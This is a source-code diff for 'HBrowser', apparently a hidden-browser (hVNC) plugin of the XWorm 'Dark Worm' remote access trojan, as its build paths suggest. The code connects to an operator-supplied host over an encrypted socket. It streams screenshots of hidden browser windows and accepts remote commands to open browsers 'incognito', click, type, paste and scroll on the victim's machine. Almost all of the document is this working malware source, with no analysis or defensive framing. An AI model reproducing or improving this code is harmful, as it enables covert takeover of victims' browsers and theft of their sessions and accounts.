||||
|
||||
public static void KeyboardDown(string k)
|
||||
{
|
||||
string @string = Encoding.UTF8.GetString(Convert.FromBase64String(k));
|
||||
int num = Strings.AscW(@string);
|
||||
if (num == 8 || num == 13)
|
||||
{
|
||||
PostMessage(Helper.WindowrActive, 256u, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(@string))), CreateLParamFor_WM_KEYDOWN(1, 30, IsExtendedKey: false, DownBefore: false));
|
||||
PostMessage(Helper.WindowrActive, 257u, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(@string))), CreateLParamFor_WM_KEYUP(1, 30, IsExtendedKey: false));
|
||||
}
|
||||
else
|
||||
{
|
||||
PostMessage(Helper.WindowrActive, 258u, (IntPtr)Strings.AscW(@string), (IntPtr)1);
|
||||
}
|
||||
}
|
||||
|
||||
public static IntPtr CreateLParamFor_WM_KEYUP(ushort RepeatCount, byte ScanCode, bool IsExtendedKey)
|
||||
{
|
||||
return KeysLParam(RepeatCount, ScanCode, IsExtendedKey, DownBefore: true, State: true);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
// HBrowser, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.HandleVNC.Native
|
||||
using System;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public static class Native
|
||||
{
|
||||
[Flags]
|
||||
public enum SetWindowPosFlags : uint
|
||||
{
|
||||
AsynchronousWindowPosition = 0x4000u,
|
||||
DeferErase = 0x2000u,
|
||||
DrawFrame = 0x20u,
|
||||
FrameChanged = 0x20u,
|
||||
HideWindow = 0x80u,
|
||||
DoNotActivate = 0x10u,
|
||||
DoNotCopyBits = 0x100u,
|
||||
IgnoreMove = 2u,
|
||||
DoNotChangeOwnerZOrder = 0x200u,
|
||||
DoNotRedraw = 8u,
|
||||
DoNotReposition = 0x200u,
|
||||
DoNotSendChangingEvent = 0x400u,
|
||||
IgnoreResize = 1u,
|
||||
IgnoreZOrder = 4u,
|
||||
ShowWindow = 0x40u
|
||||
}
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, SetWindowPosFlags uFlags);
|
||||
|
||||
[DllImport("user32")]
|
||||
public static extern int GetWindowThreadProcessId(IntPtr hWnd, out int processId);
|
||||
|
||||
public static string GetMainModuleFilepath(int id)
|
||||
{
|
||||
string queryString = "SELECT ProcessId, ExecutablePath FROM Win32_Process WHERE ProcessId = " + id;
|
||||
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(queryString))
|
||||
{
|
||||
ManagementObjectCollection source = managementObjectSearcher.Get();
|
||||
ManagementObject managementObject = source.Cast<ManagementObject>().FirstOrDefault();
|
||||
if (managementObject != null)
|
||||
{
|
||||
return Convert.ToString(managementObject["ExecutablePath"]);
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,630 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Linq;
|
||||
using System.Net.Sockets;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using Microsoft.VisualBasic; // Install-Package Microsoft.VisualBasic
|
||||
using Microsoft.VisualBasic.CompilerServices; // Install-Package Microsoft.VisualBasic
|
||||
using Microsoft.Win32;
|
||||
using static System.Net.Mime.MediaTypeNames;
|
||||
using System.Windows.Forms.VisualStyles;
|
||||
using HB.Handle;
|
||||
|
||||
namespace HBrowser
|
||||
{
|
||||
class Plugin
|
||||
{
|
||||
public static System.Threading.Thread T1 = new System.Threading.Thread(new System.Threading.ThreadStart(ClientSocket.BeginConnect));
|
||||
public static System.Threading.Thread T2 = new System.Threading.Thread(new System.Threading.ThreadStart(ClientSocket.Ping));
|
||||
|
||||
|
||||
public static void Run(string H, string P, string SL, string K, string id)
|
||||
{
|
||||
|
||||
try
|
||||
{
|
||||
Settings.Host = H;
|
||||
Settings.Port = P;
|
||||
Settings.SPL = SL;
|
||||
Settings.KEY = K;
|
||||
Settings.IDD = id;
|
||||
T1.Start();
|
||||
T2.Start();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
public partial class Settings
|
||||
{
|
||||
public static string Host;
|
||||
public static string Port;
|
||||
public static string KEY;
|
||||
public static string SPL;
|
||||
public static string IDD;
|
||||
}
|
||||
|
||||
public partial class ClientSocket
|
||||
{
|
||||
public static bool isConnected = false;
|
||||
public static Socket S;
|
||||
public static long BufferLength = default;
|
||||
public static byte[] Buffer;
|
||||
public static MemoryStream MS = new MemoryStream();
|
||||
public static void BeginConnect()
|
||||
{
|
||||
S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||
BufferLength = -1;
|
||||
Buffer = new byte[1];
|
||||
MS = new MemoryStream();
|
||||
|
||||
S.ReceiveBufferSize = 50 * 1024;
|
||||
S.SendBufferSize = 50 * 1024;
|
||||
|
||||
try
|
||||
{
|
||||
S.Connect(Settings.Host, Conversions.ToInteger(Settings.Port));
|
||||
isConnected = true;
|
||||
|
||||
|
||||
|
||||
Send("FormHBrowser" + Settings.SPL + Settings.IDD);
|
||||
|
||||
|
||||
S.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, new AsyncCallback(BeginReceive), S);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
isDisconnected();
|
||||
}
|
||||
}
|
||||
|
||||
public static void BeginReceive(IAsyncResult ar)
|
||||
{
|
||||
if (isConnected == false)
|
||||
isDisconnected();
|
||||
try
|
||||
{
|
||||
int Received = S.EndReceive(ar);
|
||||
if (Received > 0)
|
||||
{
|
||||
if (BufferLength == -1)
|
||||
{
|
||||
if (Buffer[0] == 0)
|
||||
{
|
||||
BufferLength = Conversions.ToLong(Helper.BS(MS.ToArray()));
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
|
||||
if (BufferLength == 0L)
|
||||
{
|
||||
BufferLength = -1;
|
||||
S.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, new AsyncCallback(BeginReceive), S);
|
||||
return;
|
||||
}
|
||||
Buffer = new byte[(int)(BufferLength - 1L + 1)];
|
||||
}
|
||||
else
|
||||
{
|
||||
MS.WriteByte(Buffer[0]);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
MS.Write(Buffer, 0, Received);
|
||||
if (MS.Length == BufferLength)
|
||||
{
|
||||
|
||||
var thread = new Thread(BeginRead);
|
||||
thread.Start(MS.ToArray());
|
||||
|
||||
BufferLength = -1;
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
Buffer = new byte[1];
|
||||
}
|
||||
else
|
||||
{
|
||||
Buffer = new byte[(int)(BufferLength - MS.Length - 1L + 1)];
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
isDisconnected();
|
||||
return;
|
||||
}
|
||||
S.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, new AsyncCallback(BeginReceive), S);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
isDisconnected();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
public static void BeginRead(object b)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] buffer = (byte[])b;
|
||||
Messages.Read(buffer);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void Send(string msg)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var MS = new MemoryStream())
|
||||
{
|
||||
var B = Helper.AES_Encryptor(Helper.SB(msg));
|
||||
var L = Helper.SB(B.Length.ToString() + Conversions.ToChar(Constants.vbNullChar));
|
||||
|
||||
MS.Write(L, 0, L.Length);
|
||||
MS.Write(B, 0, B.Length);
|
||||
|
||||
S.Poll(-1, SelectMode.SelectWrite);
|
||||
S.Send(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
isDisconnected();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void isDisconnected()
|
||||
{
|
||||
isConnected = false;
|
||||
|
||||
try
|
||||
{
|
||||
S.Close();
|
||||
S.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
MS.Close();
|
||||
MS.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
Plugin.T1.Abort();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
try
|
||||
{
|
||||
Plugin.T2.Abort();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
public static void Ping()
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
System.Threading.Thread.Sleep(30 * 1000);
|
||||
try
|
||||
{
|
||||
if (S.Connected)
|
||||
{
|
||||
using (var MS = new MemoryStream())
|
||||
{
|
||||
var B = Helper.AES_Encryptor(Helper.SB("PING?"));
|
||||
var L = Helper.SB(B.Length.ToString() + Conversions.ToChar(Constants.vbNullChar));
|
||||
|
||||
MS.Write(L, 0, L.Length);
|
||||
MS.Write(B, 0, B.Length);
|
||||
|
||||
S.Poll(-1, SelectMode.SelectWrite);
|
||||
S.Send(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None);
|
||||
GC.Collect();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
isDisconnected();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public partial class Messages
|
||||
{
|
||||
public static void Read(byte[] b)
|
||||
{
|
||||
try
|
||||
{
|
||||
var A = Strings.Split(Helper.BS(Helper.AES_Decryptor(b)), Conversions.ToString(Settings.SPL));
|
||||
switch (A[0] ?? "")
|
||||
{
|
||||
case "CloseHBrowser":
|
||||
{
|
||||
try
|
||||
{
|
||||
int x6 = Convert.ToInt32(A[1]);
|
||||
int y6 = Convert.ToInt32(A[2]);
|
||||
GetWindowsHidden.ClearList(x6, y6);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
ClientSocket.isDisconnected();
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
case "HBrowser+":
|
||||
{
|
||||
Bitmap bitmap = null;
|
||||
Helper.Resize = false;
|
||||
|
||||
try
|
||||
{
|
||||
|
||||
if (GetWindowsHidden.WindowCheck(Helper.WindowrActive))
|
||||
{
|
||||
bitmap = ScreenshotCapture.CaptureWindow(Helper.WindowrActive);
|
||||
using (Helper.Appsstream = new MemoryStream())
|
||||
{
|
||||
|
||||
EncoderParameter encoderParameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, Convert.ToInt32(A[1]));
|
||||
ImageCodecInfo encoderInfo = Helper.GetEncoderInfo("image/jpeg");
|
||||
EncoderParameters encoderParameters = new EncoderParameters(1);
|
||||
encoderParameters.Param[0] = encoderParameter;
|
||||
bitmap.Save(Helper.Appsstream, encoderInfo, encoderParameters);
|
||||
|
||||
|
||||
ClientSocket.Send("HBrowser+" + Settings.SPL + Settings.IDD + Settings.SPL + Convert.ToBase64String(Helper.Compress(Helper.Appsstream.ToArray())));
|
||||
|
||||
encoderParameters?.Dispose();
|
||||
bitmap?.Dispose();
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
ClientSocket.Send("HBrowser+" + Settings.SPL + Settings.IDD + Settings.SPL + "");
|
||||
}
|
||||
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "UpdateWindowsActive":
|
||||
{
|
||||
GetWindowsHidden.GetListWindow();
|
||||
break;
|
||||
}
|
||||
|
||||
case "OpenBrowser":
|
||||
{
|
||||
string asString2 = A[1];
|
||||
string asString3 = A[2];
|
||||
string asString4 = A[3];
|
||||
int width = Convert.ToInt32(A[4]);
|
||||
int height = Convert.ToInt32(A[5]);
|
||||
string text = GetWindowsHidden.RetrunBrowser(asString2, asString3, asString4);
|
||||
if (!string.IsNullOrEmpty(text) && GetWindowsHidden.GetHandleBrowser(text, width, height))
|
||||
{
|
||||
GetWindowsHidden.GetListWindow();
|
||||
Helper.MsgLogs(asString2 + "Browser is prepared to control incognito.");
|
||||
}
|
||||
else
|
||||
{
|
||||
Helper.MsgLogs("Window is not found - " + asString2);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "Close":
|
||||
{
|
||||
string asString = A[1];
|
||||
int num = Convert.ToInt32(A[2]);
|
||||
int num2 = Convert.ToInt32(A[3]);
|
||||
int num3 = Convert.ToInt32(A[4]);
|
||||
if (GetWindowsHidden.InitializingWindow(num, num2, num3))
|
||||
{
|
||||
GetWindowsHidden.WindowClose(GetWindowsHidden.ListBrowser[num], num2, num3);
|
||||
GetWindowsHidden.GetListWindow();
|
||||
}
|
||||
else
|
||||
{
|
||||
Helper.MsgLogs("Failed to close the window - " + asString);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "GetHWND":
|
||||
{
|
||||
string asString5 = A[1];
|
||||
int num4 = Convert.ToInt32(A[2]);
|
||||
int width2 = Convert.ToInt32(A[3]);
|
||||
int height2 = Convert.ToInt32(A[4]);
|
||||
if (GetWindowsHidden.InitializingWindow(num4, width2, height2))
|
||||
{
|
||||
Helper.WindowrActive = GetWindowsHidden.ListBrowser[num4];
|
||||
Helper.MsgLogs(asString5 + " window is ready");
|
||||
}
|
||||
else
|
||||
{
|
||||
Helper.MsgLogs("Window is not found - " + asString5);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
case "Resize":
|
||||
{
|
||||
int x7 = Convert.ToInt32(A[1]);
|
||||
int y7 = Convert.ToInt32(A[2]);
|
||||
if (GetWindowsHidden.WindowCheck(Helper.WindowrActive))
|
||||
{
|
||||
GetWindowsHidden.ResizeWondow(Helper.WindowrActive, x7, y7);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "keyboardClick":
|
||||
{
|
||||
HandleMouse.KeyboardDown(A[1]);
|
||||
break;
|
||||
|
||||
}
|
||||
|
||||
case "paste":
|
||||
{
|
||||
HandleClipboard.Paste(A[1]);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
|
||||
case "LeftDown":
|
||||
{
|
||||
// A[1] = X
|
||||
// A[2] = Y
|
||||
|
||||
int x5 = Convert.ToInt32(A[1]);
|
||||
int y5 = Convert.ToInt32(A[2]);
|
||||
HandleMouse.MouseLeftDown(x5, y5);
|
||||
break;
|
||||
}
|
||||
case "RightDown":
|
||||
{
|
||||
int x4 = Convert.ToInt32(A[1]);
|
||||
int y4 = Convert.ToInt32(A[2]);
|
||||
HandleMouse.MouseRightDown(x4, y4);
|
||||
break;
|
||||
}
|
||||
case "LeftUp":
|
||||
{
|
||||
int x3 = Convert.ToInt32(A[1]);
|
||||
int y3 = Convert.ToInt32(A[2]);
|
||||
HandleMouse.MouseLeftUp(x3, y3);
|
||||
break;
|
||||
}
|
||||
case "RightUp":
|
||||
{
|
||||
int x2 = Convert.ToInt32(A[1]);
|
||||
int y2 = Convert.ToInt32(A[2]);
|
||||
HandleMouse.MouseRghitUp(x2, y2);
|
||||
break;
|
||||
}
|
||||
case "MoveCursor":
|
||||
{
|
||||
int x = Convert.ToInt32(A[1]);
|
||||
int y = Convert.ToInt32(A[2]);
|
||||
HandleMouse.MouseMove(x, y);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
case "ScrollDown":
|
||||
{
|
||||
Helper.ScrollDown();
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
case "ScrollUp":
|
||||
{
|
||||
Helper.ScrollUp();
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.MsgLogs("Error! " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
internal static partial class Helper
|
||||
{
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int SendMessage(IntPtr hWnd, int Msg, IntPtr wParam, IntPtr lParam);
|
||||
public static void ScrollDown()
|
||||
{
|
||||
IntPtr hWnd = WindowrActive;
|
||||
if (hWnd != IntPtr.Zero)
|
||||
SendMessage(hWnd, 0x115, new IntPtr(1), IntPtr.Zero);
|
||||
}
|
||||
public static void ScrollUp()
|
||||
{
|
||||
IntPtr hWnd = WindowrActive;
|
||||
if (hWnd != IntPtr.Zero)
|
||||
SendMessage(hWnd, 0x115, new IntPtr(0), IntPtr.Zero);
|
||||
}
|
||||
|
||||
|
||||
public static MemoryStream Appsstream = new MemoryStream();
|
||||
public static IntPtr WindowrActive { get; set; }
|
||||
|
||||
public static int Quality { get; set; }
|
||||
|
||||
public static bool Resize { get; set; }
|
||||
|
||||
public static bool Speed { get; set; }
|
||||
|
||||
public static int X { get; set; }
|
||||
|
||||
public static int Y { get; set; }
|
||||
|
||||
|
||||
|
||||
|
||||
public static void MsgLogs(string Message)
|
||||
{
|
||||
ClientSocket.Send("HBrowserMSG" + Settings.SPL + Settings.IDD + Settings.SPL + Message);
|
||||
}
|
||||
|
||||
public static ImageCodecInfo GetEncoderInfo(string M)
|
||||
{
|
||||
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
int arg_0B_0 = 0;
|
||||
int num = imageEncoders.Length;
|
||||
for (int i = arg_0B_0; i <= num; i++)
|
||||
{
|
||||
if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(imageEncoders[i].MimeType, M, false) == 0)
|
||||
return imageEncoders[i];
|
||||
}
|
||||
return null/* TODO Change to default(_) if this is not a reference type */;
|
||||
}
|
||||
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
byte[] lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
|
||||
}
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] SB(string s)
|
||||
{
|
||||
return Encoding.UTF8.GetBytes(s);
|
||||
}
|
||||
|
||||
public static string BS(byte[] b)
|
||||
{
|
||||
return Encoding.UTF8.GetString(b);
|
||||
}
|
||||
public static byte[] AES_Encryptor(byte[] input)
|
||||
{
|
||||
var AES_ = new RijndaelManaged();
|
||||
var Hash = new MD5CryptoServiceProvider();
|
||||
try
|
||||
{
|
||||
AES_.Key = Hash.ComputeHash(SB(Settings.KEY));
|
||||
AES_.Mode = CipherMode.ECB;
|
||||
var DESEncrypter = AES_.CreateEncryptor();
|
||||
var Buffer = input;
|
||||
return DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
|
||||
return default;
|
||||
}
|
||||
|
||||
public static byte[] AES_Decryptor(byte[] input)
|
||||
{
|
||||
var AES_ = new RijndaelManaged();
|
||||
var Hash = new MD5CryptoServiceProvider();
|
||||
try
|
||||
{
|
||||
AES_.Key = Hash.ComputeHash(SB(Settings.KEY));
|
||||
AES_.Mode = CipherMode.ECB;
|
||||
var DESDecrypter = AES_.CreateDecryptor();
|
||||
var Buffer = input;
|
||||
return DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
|
||||
return default;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("HBrowser")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("HBrowser")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2023")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("3e26f494-89f7-4e79-b16d-c540ea683926")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
@@ -0,0 +1,46 @@
|
||||
// HBrowser, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.ScreenshotCapture
|
||||
using HBrowser;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal sealed class ScreenshotCapture
|
||||
{
|
||||
private class User32
|
||||
{
|
||||
public struct Rect
|
||||
{
|
||||
public int left;
|
||||
|
||||
public int top;
|
||||
|
||||
public int right;
|
||||
|
||||
public int bottom;
|
||||
}
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetWindowRect(IntPtr hWnd, ref Rect rect);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool PrintWindow(IntPtr hwnd, IntPtr hdcBlt, uint nFlags);
|
||||
}
|
||||
|
||||
public static Bitmap CaptureWindow(IntPtr handle)
|
||||
{
|
||||
User32.Rect rect = default(User32.Rect);
|
||||
User32.GetWindowRect(handle, ref rect);
|
||||
int num = rect.right - rect.left;
|
||||
int num2 = rect.bottom - rect.top;
|
||||
int x = Helper.X;
|
||||
int y = Helper.Y;
|
||||
Bitmap bitmap = ((!Helper.Resize) ? new Bitmap(num + 1, num2 + 1) : new Bitmap(x + 1, y + 1));
|
||||
using (Graphics graphics = Graphics.FromImage(bitmap))
|
||||
{
|
||||
IntPtr hdc = graphics.GetHdc();
|
||||
User32.PrintWindow(handle, hdc, 2u);
|
||||
}
|
||||
return bitmap;
|
||||
}
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,4 @@
|
||||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]
|
||||
@@ -0,0 +1,4 @@
|
||||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
||||
caec721fe09aa30ef8615f1fdb3f2ee89ac377dd8218a3efe11d93aad25398fa
|
||||
@@ -0,0 +1,73 @@
|
||||
C:\Users\XCoder\source\repos\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\source\repos\HBrowser\HBrowser\bin\Debug\HBrowser.dll
|
||||
C:\Users\XCoder\source\repos\HBrowser\HBrowser\bin\Debug\HBrowser.pdb
|
||||
C:\Users\XCoder\source\repos\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\XCoder\source\repos\HBrowser\HBrowser\obj\Debug\HBrowser.pdb
|
||||
C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.AssemblyReference.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.AssemblyReference.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
